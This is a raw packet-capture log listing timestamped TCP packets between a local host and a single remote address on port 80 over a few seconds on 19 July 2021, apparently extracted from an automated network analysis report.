Jul 19, 2021 18:36:34.771753073 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.772069931 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.772176027 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.772190094 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.772310019 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.824384928 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.824786901 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.831686020 CEST	80	49988	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.831860065 CEST	49988	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.833015919 CEST	49988	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.853280067 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.853298903 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.853308916 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.853319883 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.853486061 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.854147911 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.854166031 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.854302883 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.854768038 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.854829073 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.855169058 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.855176926 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.855195045 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.855628014 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.855695009 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.918886900 CEST	80	49988	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.931765079 CEST	80	49988	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.931920052 CEST	49988	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.936774969 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.936798096 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.937004089 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.937016964 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.937474012 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.937570095 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.937768936 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.937978029 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.938261032 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.938360929 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.938669920 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.938775063 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.938893080 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.938925982 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.938972950 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.939022064 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.939049959 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.023619890 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.023677111 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.043653011 CEST	49988	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.045193911 CEST	49989	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.070492983 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.070645094 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.123580933 CEST	80	49989	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.123887062 CEST	49989	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.125010014 CEST	49989	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.126629114 CEST	80	49988	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.126842976 CEST	49988	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.203298092 CEST	80	49989	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.215696096 CEST	80	49989	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.217662096 CEST	49989	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.282035112 CEST	49989	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.282354116 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.283652067 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.330786943 CEST	49991	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.360074997 CEST	80	49989	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.360204935 CEST	49989	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.365335941 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.365461111 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.365916014 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.366061926 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.367140055 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.367393017 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.367818117 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.368124962 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.409373999 CEST	80	49991	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.409533024 CEST	49991	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.410619020 CEST	49991	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.449820042 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.450303078 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.450465918 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.450483084 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.450496912 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.450510979 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.450615883 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.450747967 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.450792074 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.450995922 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.451015949 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.451098919 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.451158047 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.451345921 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.451410055 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.451473951 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.451512098 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.451575041 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.451679945 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.451694965 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.451778889 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.488720894 CEST	80	49991	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.499847889 CEST	80	49991	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.499988079 CEST	49991	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.532957077 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.532984018 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.532991886 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.533014059 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.533107042 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.533150911 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.533179045 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.533229113 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.533303976 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.533365011 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.533509016 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.533936024 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.533951998 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.534046888 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.534173965 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.606010914 CEST	49991	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.608014107 CEST	49992	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.615200996 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.615221024 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.615323067 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.615372896 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.615392923 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.615751028 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.615783930 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.615797043 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.616440058 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.616451025 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.616461992 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.616552114 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.616561890 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.616658926 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.616674900 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.616688967 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.684149981 CEST	80	49991	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.685977936 CEST	49991	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.691227913 CEST	80	49992	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.691421032 CEST	49992	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.692145109 CEST	49992	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.697559118 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.697583914 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.697608948 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.697623968 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.697634935 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.776911020 CEST	80	49992	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.793164968 CEST	80	49992	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.794015884 CEST	49992	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.832426071 CEST	49992	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.832664013 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.834094048 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.904985905 CEST	49994	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.914793015 CEST	80	49990	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.915019035 CEST	49990	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.915266991 CEST	80	49992	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.915395021 CEST	49992	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.931750059 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.932051897 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.934416056 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.934703112 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.935178995 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.935496092 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.984997988 CEST	80	49994	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:35.985188961 CEST	49994	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:35.986108065 CEST	49994	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.031179905 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.031213045 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.032300949 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.032465935 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.033940077 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.034085989 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.034423113 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.034539938 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.034555912 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.034635067 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.034792900 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.034902096 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.035346031 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.035368919 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.035379887 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.035393953 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.035408974 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.035511017 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.035573959 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.067886114 CEST	80	49994	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.094044924 CEST	80	49994	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.094193935 CEST	49994	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.128958941 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.129024029 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.129092932 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.129136086 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.130647898 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.130716085 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.130748987 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.130789995 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.131211996 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.131261110 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.131300926 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.131321907 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.131376028 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.131434917 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.131870985 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.132009029 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.132544994 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.132667065 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.200218916 CEST	49994	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.202323914 CEST	49995	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.259573936 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.259771109 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.278749943 CEST	80	49994	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.278868914 CEST	49994	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.296402931 CEST	80	49995	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.296581030 CEST	49995	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.297692060 CEST	49995	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.356045961 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.356080055 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.356095076 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.356106043 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.356122017 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.356141090 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.364902973 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.365001917 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.392376900 CEST	80	49995	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.420775890 CEST	80	49995	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.420878887 CEST	49995	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.532061100 CEST	49995	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.532455921 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.535218000 CEST	49996	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.580236912 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.614908934 CEST	80	49996	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.615041971 CEST	49996	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.615690947 CEST	49996	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.626796007 CEST	80	49995	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.626883984 CEST	49995	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.628664017 CEST	80	49993	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.629074097 CEST	49993	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.678446054 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.678563118 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.679889917 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.680003881 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.680198908 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.680322886 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.696532965 CEST	80	49996	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.696633101 CEST	80	49996	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.696790934 CEST	49996	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.777517080 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.777651072 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.777719021 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.777733088 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.777929068 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.778017998 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.778098106 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.778167009 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.778251886 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.778316975 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.778352976 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.778445959 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.778655052 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.778747082 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.778770924 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.778836966 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.778892994 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.778964043 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.779185057 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.779278994 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.779412031 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.779506922 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.779577971 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.779654026 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.809329033 CEST	49996	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.810606956 CEST	49998	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.875647068 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.875673056 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.875682116 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.875775099 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.876558065 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.876580000 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.876688957 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.876758099 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.876816034 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.877412081 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.877507925 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.877602100 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.877988100 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.906166077 CEST	80	49998	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.906682014 CEST	49998	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.907156944 CEST	49998	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.922029972 CEST	80	49996	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.922110081 CEST	49996	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.975218058 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.975239992 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.976421118 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.976473093 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:36.976633072 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.976675987 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.976711988 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:36.976728916 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.006921053 CEST	80	49998	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.015574932 CEST	80	49998	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.017709017 CEST	49998	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.080148935 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.080281019 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.080302954 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.080332041 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.080353022 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.131172895 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.131273985 CEST	49998	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.131700039 CEST	49999	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.209592104 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.219378948 CEST	80	49999	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.219769955 CEST	49999	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.220434904 CEST	49999	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.239609003 CEST	80	49998	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.239773035 CEST	49998	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.264957905 CEST	80	49997	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.265037060 CEST	49997	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.287780046 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.287971973 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.288887978 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.289011002 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.289220095 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.289388895 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.303889990 CEST	80	49999	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.305474043 CEST	80	49999	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.305735111 CEST	49999	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.366981030 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.367007971 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.367142916 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.367563009 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.367791891 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.368134022 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.368293047 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.368314028 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.368330956 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.368437052 CEST	50000	80	192.168.2.6	185.114.247.54
